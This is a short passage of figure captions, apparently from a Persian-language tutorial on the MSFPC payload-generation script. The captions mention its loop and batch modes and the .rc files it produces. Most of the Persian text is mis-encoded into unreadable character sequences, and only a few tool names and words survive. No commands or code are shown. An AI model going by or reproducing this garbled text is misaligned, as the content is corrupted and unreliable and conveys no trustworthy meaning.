 ( ٛكبٙ زازٟ قسٟ اؾز.2-14زض قٌْ ) LOOPزض حبٓز  msfpcق٘بيي اظ ذطٝػي اؾٌطيذز 
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 batchجْت اتػال حالت  msfpc( ضوايي اص خشٍجي اسىشيپت 2-12ضىل )

 
جْت اتػال حالت  MSFPCُ تَسظ اسىشيپت ايجاد ضذ rc.ّاي  ( ضوايي اص ليست فايل2-13ضىل )

batch 


